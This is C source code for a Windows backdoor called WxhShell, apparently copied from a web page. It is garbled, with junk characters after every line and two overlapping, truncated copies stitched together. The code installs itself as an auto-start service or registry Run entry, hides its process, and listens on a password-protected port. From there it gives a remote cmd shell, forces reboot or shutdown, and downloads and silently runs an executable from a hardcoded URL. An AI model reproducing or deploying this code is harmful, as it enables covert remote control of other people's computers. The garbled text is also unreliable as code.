  // 关机 &\/}.rF  
  case 'd': { ke +\Z>BWN  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !a5e{QG0  
    if(Boot(SHUTDOWN)) E*9W'e~=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \jkDRR[  
    else { =E~SaT  
    closesocket(wsh); #?\|)y4i  
    ExitThread(0); F20%r 0  
    } wYHyVY2tj2  
    break; e=u}J%|  
    } Xd~lifF  
  // 获取shell :J5CmU $  
  case 's': { *qIns/@  
    CmdShell(wsh); gp{P _  
    closesocket(wsh); D%'rq  
    ExitThread(0); ux7g%Q ^"  
    break; hJ V*  
  } u C`)?f*I  
  // 退出 bqR0./V  
  case 'x': { -f(< 2i  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1g|6,J  
    CloseIt(wsh); ve=1y)  
    break; FC8= ru  
    } SY2((!n._  
  // 离开 <{1 3Nd'o  
  case 'q': { 3Q+THg3~?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); |:`gjl_Nf  
    closesocket(wsh); Zxv{qbF  
    WSACleanup(); ;|K(6)  
    exit(1); VoUAFEcs  
    break; HmEU;UbO-  
        } <QE/p0.  
  } }*0*8~Q'5  
  } af7\2 g3*  
}EHmVPe  
  // 提示信息 uwb>q"M  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wsfn>w?!V  
} #EU x1II  
  } P}Ule|&LK  
%OsV(7  
  return; 6~Xe$fP(  
} "PPn^{bYm  
1 Xu^pc  
// shell模块句柄 l. i&.;f  
int CmdShell(SOCKET sock) *YY:JLe  
{ LaiUf_W#X  
STARTUPINFO si; F%QVn .  
ZeroMemory(&si,sizeof(si)); Y3I+TI>x  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1Q$Z'E}SK@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; D(<20b,  
PROCESS_INFORMATION ProcessInfo; MA:8g D  
char cmdline[]="cmd"; G@QZmuj&KH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xpVYNS{c+|  
  return 0; D8Vb@5MW  
} P/FO,S-V  
l*yJU3PW  
// 自身启动模式 j^~WAWbFh  
int StartFromService(void) N~ XzgI  
{ TNC,{sM  
typedef struct t1 .6+  
{ 1)M>vdrP  
  DWORD ExitStatus; e]{X62]  
  DWORD PebBaseAddress; X/nb7_M  
  DWORD AffinityMask; u37@9  
  DWORD BasePriority; 2$? )VXtw  
  ULONG UniqueProcessId; q-}J0vu\K  
  ULONG InheritedFromUniqueProcessId; rf8`|9h"7  
}   PROCESS_BASIC_INFORMATION; w]\O3'0Js  
t <#Yr%a  
PROCNTQSIP NtQueryInformationProcess; MqI!i>  
9oY%v7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?ei7jM",  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ydu=J g5u7  
lG;sDR|)(  
  HANDLE             hProcess; mi3yiR  
  PROCESS_BASIC_INFORMATION pbi; m`-{ V<(M  
avk0pY(n  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0=&Hm).  
  if(NULL == hInst ) return 0; a3037~X  
t*^Q`V wQ  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dGcG7*EX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); h5ST`jZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); %Sfew/"R0  
 #IyxH$  
  if (!NtQueryInformationProcess) return 0; j#0@%d  
+kQ$X{+;8  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _Y*]'?g`  
  if(!hProcess) return 0; k| nv[xY0  
Fmk, "qs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "wTA9\  
6<R!`N 6  
  CloseHandle(hProcess); `(EY/EsY  
7 rOziKZ"  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d?*=<w!A  
if(hProcess==NULL) return 0; zN {'@B  
%X O97  
HMODULE hMod; ">lu8F  
char procName[255]; x\GCsVy  
unsigned long cbNeeded; p0UR5A>p  
`TOm.YZG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {d(@o!;Fi  
^c!"*L0E  
  CloseHandle(hProcess); [F/>pL5U$  
[GX5jD#  
if(strstr(procName,"services")) return 1; // 以服务启动 KZ pqbI Z  
hkee,PiiP  
  return 0; // 注册表启动 $3|++?  
} |#Bz&T  
8/x@|rjW  
// 主模块 S v$%-x^t  
int StartWxhshell(LPSTR lpCmdLine) Oj6-  
{ b'4{l[3~nl  
  SOCKET wsl; g>A*kY  
BOOL val=TRUE; B)O{+avu  
  int port=0; X<m#:0iD  
  struct sockaddr_in door; K 38e,O  
)"2)r{7:  
  if(wscfg.ws_autoins) Install(); N2vSJ\u  
yf*^Y74  
port=atoi(lpCmdLine); oQ1>*[e<u  
#HpF\{{v  
if(port<=0) port=wscfg.ws_port; nxkbI:+t  
8<z+hWX=4  
  WSADATA data; Ly0^ L-~|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5fMVjd  
Q\z6/1:9Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +] >o@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lO! Yl:;m%  
  door.sin_family = AF_INET; oW3j|V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); P3UU~w+s  
  door.sin_port = htons(port); -'r4@='6}  
8i/5L=a"`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d _ )5Ks}  
closesocket(wsl); bfcQ(m5  
return 1; uT:'Kkb!  
} y_boJ  
<fg~+{PA&  
  if(listen(wsl,2) == INVALID_SOCKET) { ]-h;gN  
closesocket(wsl); ~(OG3`W!  
return 1; ]Jz2[F"J  
} jD1/`g%  
  Wxhshell(wsl); Ut.%=o;&[  
  WSACleanup(); f 1s3pr??  
2o2jDQ|7  
return 0; h|qTMwPr  
R8LJC]6Bh  
} L/\s~*:M  
pURtk-Fr2  
// 以NT服务方式启动 D$@5$./  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nSY3=Edx=  
{ 1T&NU  
DWORD   status = 0; 'EzKu~*  
  DWORD   specificError = 0xfffffff; 'u@,,FFz[K  
 2%4u/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QS7<7+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ymH>] cUm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O0^m_  
  serviceStatus.dwWin32ExitCode     = 0; y7pwYRY  
  serviceStatus.dwServiceSpecificExitCode = 0; e1cqzhI=nA  
  serviceStatus.dwCheckPoint       = 0; s0r::yO  
  serviceStatus.dwWaitHint       = 0; DO*rVs3'p[  
%Q,6sH#  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3dO~Na`S  
  if (hServiceStatusHandle==0) return; zF: :?L~  
7v'aw"~  
status = GetLastError(); Qe,jK{Y< -  
  if (status!=NO_ERROR)  +_E^E  
{ ob3)bI oM  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^mH:8_=(.  
    serviceStatus.dwCheckPoint       = 0; e={ ?d6  
    serviceStatus.dwWaitHint       = 0; l4Au{%j\  
    serviceStatus.dwWin32ExitCode     = status; 3Z0ez?p+5  
    serviceStatus.dwServiceSpecificExitCode = specificError; K HyVI6N[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); } H#C<:A  
    return; 3+[;  
  } \/XU v(  
3~q#P   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zv .#9^/y  
  serviceStatus.dwCheckPoint       = 0; 6JgbJbUi  
  serviceStatus.dwWaitHint       = 0; &/m0N\n?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "2 \},o9  
} W3+;1S$k  
g"{`g6(+  
// 处理NT服务事件,比如:启动、停止 c T21  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N)X 3pWC8  
{ (usFT_  
switch(fdwControl) P*|qbY  
{ mX2X.ww(4  
case SERVICE_CONTROL_STOP: `y3*\l  
  serviceStatus.dwWin32ExitCode = 0; -M6#,Ji  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |zbM$37 ?k  
  serviceStatus.dwCheckPoint   = 0; A&N$=9.N1  
  serviceStatus.dwWaitHint     = 0; b.q/? Yx  
  { c( _R xLJ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5X PoQ^  
  } g es-nG-  
  return; &8;Fi2}(L  
case SERVICE_CONTROL_PAUSE: 3mQ3mV:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }wB!Bx2  
  break; &E]<KbVx  
case SERVICE_CONTROL_CONTINUE: AvVPPEryal  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RD6>\9  
  break; sF Ph?  
case SERVICE_CONTROL_INTERROGATE: C%#w1k  
  break; mg< v9#  
}; 9ec>#Vxx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J8B0H1  
} $0cE iq?Hf  
Sim$:5P  
// 标准应用程序主函数 e6>[ZC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !gL1  
{ >uo=0=9=  
: sG/  
// 获取操作系统版本 2eRv{_  
OsIsNt=GetOsVer(); %(S!/(LWW  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |.b&\  
x6Tpt^N}  
  // 从命令行安装 hltUf5m'b  
  if(strpbrk(lpCmdLine,"iI")) Install(); iA|n\a~ny,  
M96Nt&P`  
  // 下载执行文件 RWB]uHzE  
if(wscfg.ws_downexe) { sC ?e%B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4QE")Ge  
  WinExec(wscfg.ws_filenam,SW_HIDE); f[*g8p  
} i)/#u+Y1P  
"u'dd3!  
if(!OsIsNt) { "^ aSONz  
// 如果时win9x,隐藏进程并且设置为注册表启动 E*yot[kj  
HideProc(); [U$`nnp  
StartWxhshell(lpCmdLine); &Z}}9dd  
} (SCZ.G(>  
else K#N5S]2yb  
  if(StartFromService()) W6)XMl}n  
  // 以服务方式启动 Y3ypca&P9  
  StartServiceCtrlDispatcher(DispatchTable); UZL-mF:)&  
else Oiw!d6"Ovq  
  // 普通方式启动 { )4@rM  
  StartWxhshell(lpCmdLine); PKev)M;C+  
CHdYY7\{  
return 0; t4p-pH'9b  
} BPy pA $  
m:g%5' qDZ  
/AIFgsaY  
aw3rTT(  
=========================================== }]pOR&o  
h  m(  
']sIU;h3  
W,%qL6qV  
s{fL~}Yz  
$cGV)[KWp@  
" cMfnc.P\K  
i;67< f}-  
#include <stdio.h> ^.[+)0I  
#include <string.h> PkK#HD  
#include <windows.h> Lf,C5 0  
#include <winsock2.h> %Gjjl*`E  
#include <winsvc.h> ,27=i>>  
#include <urlmon.h> \qbEC.-K  
{z# W-  
#pragma comment (lib, "Ws2_32.lib") k")3R}mX  
#pragma comment (lib, "urlmon.lib") <h~_7Dn  
z6OJT6<'  
#define MAX_USER   100 // 最大客户端连接数 z"!=A}i  
#define BUF_SOCK   200 // sock buffer 0urM@/j+  
#define KEY_BUFF   255 // 输入 buffer =l$qwcfbo  
Lw{'mtm  
#define REBOOT     0   // 重启 vFGVz  
#define SHUTDOWN   1   // 关机 U&6f:IV  
WtbOm  
#define DEF_PORT   5000 // 监听端口 ld'Aaxl&  
^^(4xHN  
#define REG_LEN     16   // 注册表键长度 YfH+kDT  
#define SVC_LEN     80   // NT服务名长度 SVT'fPm1M  
E2|c;{ c  
// 从dll定义API EJO6k1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Z9lfd6MU,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +|Qe/8Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZQDw|*a@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6H!"oC&  
9Dx9alJR  
// wxhshell配置信息 xwrleB  
struct WSCFG { $g)X,iQu  
  int ws_port;         // 监听端口 LwIX&\Ub  
  char ws_passstr[REG_LEN]; // 口令 51x)fZQ  
  int ws_autoins;       // 安装标记, 1=yes 0=no q0QB[)AP  
  char ws_regname[REG_LEN]; // 注册表键名 i9y&<^<W  
  char ws_svcname[REG_LEN]; // 服务名 ^1+&)6s7V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #)$@Kvm  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nYO4JlNP  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #3Jn_Y%P.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6\?< :Qto  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" . xdSUe  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 u:D,\`;)  
NX:i]t  
}; a;e~D 9%1  
|0/~7l  
// default Wxhshell configuration \py \rI  
struct WSCFG wscfg={DEF_PORT, WT>2eMK[  
    "xuhuanlingzhe", #Y9~ Xp^.  
    1, GFBku^pi  
    "Wxhshell", yPza  
    "Wxhshell", 2Fsv_t&*>  
            "WxhShell Service", Ox1#}7`0>  
    "Wrsky Windows CmdShell Service", JA~v:ec  
    "Please Input Your Password: ", m`Ver:{  
  1, ULkhTB  
  "http://www.wrsky.com/wxhshell.exe", 11(:#4Y,  
  "Wxhshell.exe" WD7IF+v  
    }; G>);8T%l  
cRhu]fv()  
// 消息定义模块 Th6xwMq  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .v{ok,&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ==\Qj{ 7`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~SRK}5E  
char *msg_ws_ext="\n\rExit."; Y[ciT)  
char *msg_ws_end="\n\rQuit."; 5dE@ePO[/9  
char *msg_ws_boot="\n\rReboot..."; KK%R3{  
char *msg_ws_poff="\n\rShutdown..."; #r}O =izi  
char *msg_ws_down="\n\rSave to "; `i,l)X]  
~S,R`wo  
char *msg_ws_err="\n\rErr!"; BB694   
char *msg_ws_ok="\n\rOK!"; )E.!jL:g  
7xIXFuu  
char ExeFile[MAX_PATH]; 8(Ab NQ  
int nUser = 0; 5QR=$?K  
HANDLE handles[MAX_USER]; R"9^FQ13  
int OsIsNt; uoM;p'  
5QjM,"`mp  
SERVICE_STATUS       serviceStatus; %&RF;qa2xu  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AUm"^-@x#>  
e bSG|F  
// 函数声明 6{ql.2 Fa  
int Install(void); W/3,vf1  
int Uninstall(void); +EZ Lic  
int DownloadFile(char *sURL, SOCKET wsh); PYYK R  
int Boot(int flag); d@a FW  
void HideProc(void); 1gwnG&  
int GetOsVer(void); ok"v`76~f5  
int Wxhshell(SOCKET wsl); kf8-#Q/B  
void TalkWithClient(void *cs); arR9uxP  
int CmdShell(SOCKET sock); .>Gnb2  
int StartFromService(void); K/,y"DUN&  
int StartWxhshell(LPSTR lpCmdLine); X2? ^t]-N  
GESEj%R/b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D`?=]Ysz(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `u z R!^X  
:ub 4p4h*  
// 数据结构和表定义 ^u? #fLr  
SERVICE_TABLE_ENTRY DispatchTable[] = -K 7jigac  
{ eDh]uKg  
{wscfg.ws_svcname, NTServiceMain}, 2qw-:  
{NULL, NULL} Ry@QJn I<  
}; TSGJ2u5ie%  
dr|>P*  
// 自我安装 :2'y=t#  
int Install(void) Kw`{B3"  
{ |Va*=@&6J  
  char svExeFile[MAX_PATH];  kYls jM  
  HKEY key; KW* 2'C&  
  strcpy(svExeFile,ExeFile); S'Hb5C2u  
@H{QHi  
// 如果是win9x系统,修改注册表设为自启动 k`l={f8C  
if(!OsIsNt) { vD=>AAvG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RZ(*%b<C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {XHAQ9'  
  RegCloseKey(key); /s@t-gTi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7$;#-l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); SdOa#U)  
  RegCloseKey(key); HHT_}_?  
  return 0; 'qL:7  
    } m* Zq3j  
  } ;Av=/hU  
} hA6   
else { pyvH [  
p?uk|C2  
// 如果是NT以上系统,安装为系统服务 U$*AV<{%   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jGg,)~)Y  
if (schSCManager!=0) <EhOIN7@*D  
{ : 3J0Q  
  SC_HANDLE schService = CreateService `"(FWK=8)"  
  ( ty"|yA  
  schSCManager,  )>=!</@  
  wscfg.ws_svcname, +]3kcm7B  
  wscfg.ws_svcdisp, R_4eME2LB  
  SERVICE_ALL_ACCESS, ,qT^e8E+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fN_qJm#:$y  
  SERVICE_AUTO_START, ] 6X;&=H  
  SERVICE_ERROR_NORMAL, zA>LrtyK(=  
  svExeFile, C09rgEB\B  
  NULL, ~n"?*I`  
  NULL, ~Ydm"G  
  NULL, 57K\sT4[  
  NULL, b9xvLR8  
  NULL 8.!+Hm4  
  ); n)Zu>  
  if (schService!=0) ;*G';VuT  
  { Op'&c0l  
  CloseServiceHandle(schService); :#VdFMC<  
  CloseServiceHandle(schSCManager); = yFOH~_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S}b^_+UbP  
  strcat(svExeFile,wscfg.ws_svcname); O**~ Tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { uq2C|=M-x\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oj(st{,  
  RegCloseKey(key);  :I{9k~  
  return 0; j"A<qI  
    } F%:74.]Y  
  } bzXeG;c<7  
  CloseServiceHandle(schSCManager); A+MG?k>yg  
} nWes,K6T  
} 1I awi?73  
q@^^jlHP  
return 1; B k*Rz4Oa  
} .0rTk$B  
n) j0h-  
// 自我卸载 D#D55X^6*  
int Uninstall(void) P6I<M}p  
{ /^L <q  
  HKEY key; QHr'r/0  
c{IL"B6>  
if(!OsIsNt) { @6 a'p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zsLMROo3  
  RegDeleteValue(key,wscfg.ws_regname); o-o -'0l  
  RegCloseKey(key); [4hi/6 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r8tW)"?  
  RegDeleteValue(key,wscfg.ws_regname); Qr_0 L  
  RegCloseKey(key); T/.UMw  
  return 0; ck b(+*+l  
  } o`Af6C;Q  
} Ifokg~X~G  
} H#u N&^+H  
else { 3B='f"G  
E4'z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZWni5uF-c  
if (schSCManager!=0) /:^nG+  
{ 764eXh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *fs[]q'Q  
  if (schService!=0)  ^We}i  
  { l=t/"M=  
  if(DeleteService(schService)!=0) { j sD]v)LB  
  CloseServiceHandle(schService); Fe %Vp/  
  CloseServiceHandle(schSCManager);  iDx(qdla  
  return 0; 5 1N/XEk  
  } spTz}p^\O  
  CloseServiceHandle(schService); *p=enflU  
  } #jzF6j%G  
  CloseServiceHandle(schSCManager); JS/ChoU  
} ?PS?_+E\L  
} pY[b[ezb  
o>nw~_ H\  
return 1; _BY+Tfol  
} v%c/eAF  
*>"NUHq  
// 从指定url下载文件 5Po:$(  
int DownloadFile(char *sURL, SOCKET wsh) ,(Ol]W}  
{ '&hd^9]Lo  
  HRESULT hr; B=;kC#Emtf  
char seps[]= "/"; kI9I{ &J&  
char *token; \NMqlxp2  
char *file; S~ Z<-@S  
char myURL[MAX_PATH]; M 87CP=yc  
char myFILE[MAX_PATH]; k \qFWFR  
7y3WV95Z\  
strcpy(myURL,sURL); M)!"R [V  
  token=strtok(myURL,seps); a] 7g\rg)  
  while(token!=NULL) >e& L"  
  { DQ3 L=  
    file=token; NiWAJ]Z  
  token=strtok(NULL,seps); Ynvf;qs  
  } ?>U=bA  
^"D^D`$@  
GetCurrentDirectory(MAX_PATH,myFILE); U]gUGD!5x  
strcat(myFILE, "\\"); Ihf)gfHj  
strcat(myFILE, file); M49l2x=]9  
  send(wsh,myFILE,strlen(myFILE),0); 6pSTw\/6  
send(wsh,"...",3,0); Axns  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y%kOq`uT=n  
  if(hr==S_OK) %cg| KB"l  
return 0; P`{$7ST'Hh  
else 7I'C'.6iM  
return 1; 1P[x.t#  
pZlsDM/=  
} 5 ,-8oEUL  
ZIa,pON  
// 系统电源模块 ?RS:I%bL  
int Boot(int flag) R'`'q1=R  
{ >h\u[I$7  
  HANDLE hToken; " (O3B  
  TOKEN_PRIVILEGES tkp; !hZ: \&V  
,>rvl P  
  if(OsIsNt) { 3m!tb)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u%e~a]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N10U&L'w  
    tkp.PrivilegeCount = 1; C{pOGc@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .!KsF h,pK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <fG\J  
if(flag==REBOOT) { ~qeFSU(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qjhV/fsfb  
  return 0; 4>0q0}J=5  
} QHZ",1F  
else { "}qs +  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c?HUW  
  return 0; 5[SwF& zZ  
} <C&|8@A0  
  } vuPNru" 2  
  else { Rv9jLH  
if(flag==REBOOT) { i,*m(C@F}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T2<%[AF0  
  return 0; N$]er'`  
} 8]&:'  
else { zq{UkoME  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) jW`JThoq  
  return 0; 4)8VmCW  
} xt5/`C  
} *C5`LgeX  
i)|jLrW~e  
return 1; ":Tm6Nj  
} b^d{$eoH?|  
c]ARgrH-  
// win9x进程隐藏模块 950N\Y @u  
void HideProc(void) /VT/KT{  
{ YkWHI (p  
@h{|tP%"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 43AzNXWF8  
  if ( hKernel != NULL ) ? x #K:a?  
  { @Uez2?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); mfQ#n!{ZH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )Wk_|zO-  
    FreeLibrary(hKernel); oM~y8O  
  } ^)gyKl:E'  
\QK@wgu  
return; C!5A,|DX  
} BUBx}dbCM  
eA4:]A"  
// 获取操作系统版本 {\l  
int GetOsVer(void) ls 5iE  
{ ljNwt  
  OSVERSIONINFO winfo; $~G,T g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /]TNEU,K  
  GetVersionEx(&winfo); )Fv.eIBY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !'jq.RawP  
  return 1; [b3!H{b#  
  else :DN!1~ZtW  
  return 0; 2nB99L{6  
} .*zS2 z  
j~ qm$'H  
// 客户端句柄模块 &$~fz":1!  
int Wxhshell(SOCKET wsl) j?.F-ar  
{ !2LX+*;  
  SOCKET wsh; i?6&4  
  struct sockaddr_in client; ~$HB}/  
  DWORD myID; ebk>e*  
At(88(y-W  
  while(nUser<MAX_USER) C Bkoky 9&  
{ 03 @a G  
  int nSize=sizeof(client); bBjr hi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <,]:jgX  
  if(wsh==INVALID_SOCKET) return 1; 2zBk#c+  
+vh|m5"7I7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I a&*JYM[  
if(handles[nUser]==0) Xul`>8y|  
  closesocket(wsh); 4 mX(.6  
else 7*5B  
  nUser++; @Po5AK3cy  
  } ;'"'|} xn  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4era5=  
mk>; 3m*  
  return 0; AjVC{\Ik  
} <|Td0|x _q  
%~LY'cfPse  
// 关闭 socket sU_K^=6*  
void CloseIt(SOCKET wsh) \<LCp;- K  
{ 7d:]o>  
closesocket(wsh); BPY7O  
nUser--; Qa{5 ]+E  
ExitThread(0); E'QAsU8pP  
} :R;w<Tbz"  
Ebnb-Lze,  
// 客户端请求句柄 RM2Ik_IH[l  
void TalkWithClient(void *cs) }. &nEi`  
{ dAI^P/y%  
(Z),gxt  
  SOCKET wsh=(SOCKET)cs; y~9wxK  
  char pwd[SVC_LEN]; RHF"$6EAFG  
  char cmd[KEY_BUFF]; @.t +  
char chr[1]; L AQ@y-K3  
int i,j; F&M d+2  
m}]{Y'i]R  
  while (nUser < MAX_USER) { Za|7gt];l  
eD>b|U=/  
if(wscfg.ws_passstr) { "#d$$ 8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9 [eiN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `Skvqo(5:  
  //ZeroMemory(pwd,KEY_BUFF); {*_Ln  
      i=0; (m/:B= K  
  while(i<SVC_LEN) { < 5zR-UA>  
A*h8 o9M  
  // 设置超时 SoIK<*J  
  fd_set FdRead; TegdB|y7O  
  struct timeval TimeOut; t[|oSF#i  
  FD_ZERO(&FdRead); t^#1=nK  
  FD_SET(wsh,&FdRead); 6uRE9h|  
  TimeOut.tv_sec=8; HhbBt'fH  
  TimeOut.tv_usec=0; {cdICWy(F3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !yNU-/K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s< tG  
,:S#gN{U  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d6i}xnmC  
  pwd=chr[0]; [@K'}\U^+  
  if(chr[0]==0xd || chr[0]==0xa) { }?m0bM  
  pwd=0; +)c<s3OCE  
  break; vn.5X   
  } OTy!Q,0$.  
  i++; bJ2-lU% ;2  
    } 2CC"Z  
XpAJP++  
  // 如果是非法用户,关闭 socket 7gX32r$%V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g`y9UYeh  
} p{E(RsA  
%|jS`kj  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;MfqI/B{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8GkWo8rPk  
Sct  
while(1) { M^ * ~?9  
ZK4V-?/[6  
  ZeroMemory(cmd,KEY_BUFF); /  Xnq0hN  
<EnmH/C.  
      // 自动支持客户端 telnet标准   bU gg2iFS  
  j=0; oyVT  
  while(j<KEY_BUFF) { Gs#9'3_U5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W=Syo&;F8  
  cmd[j]=chr[0]; yz [pF  
  if(chr[0]==0xa || chr[0]==0xd) { \d:Q%S  
  cmd[j]=0; V@0T&#  
  break; \BBs;z[/  
  } Rd8mn'A  
  j++; >s%Db<(P=  
    } ]MCH]/  
,u@:(G  
  // 下载文件 X au %v5r  
  if(strstr(cmd,"http://")) { p;4FZ$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1 F:bExQ  
  if(DownloadFile(cmd,wsh)) x)80:A}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t|>P9lX@  
  else H[w';u[%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,'C*?mms  
  } 7 @\i5  
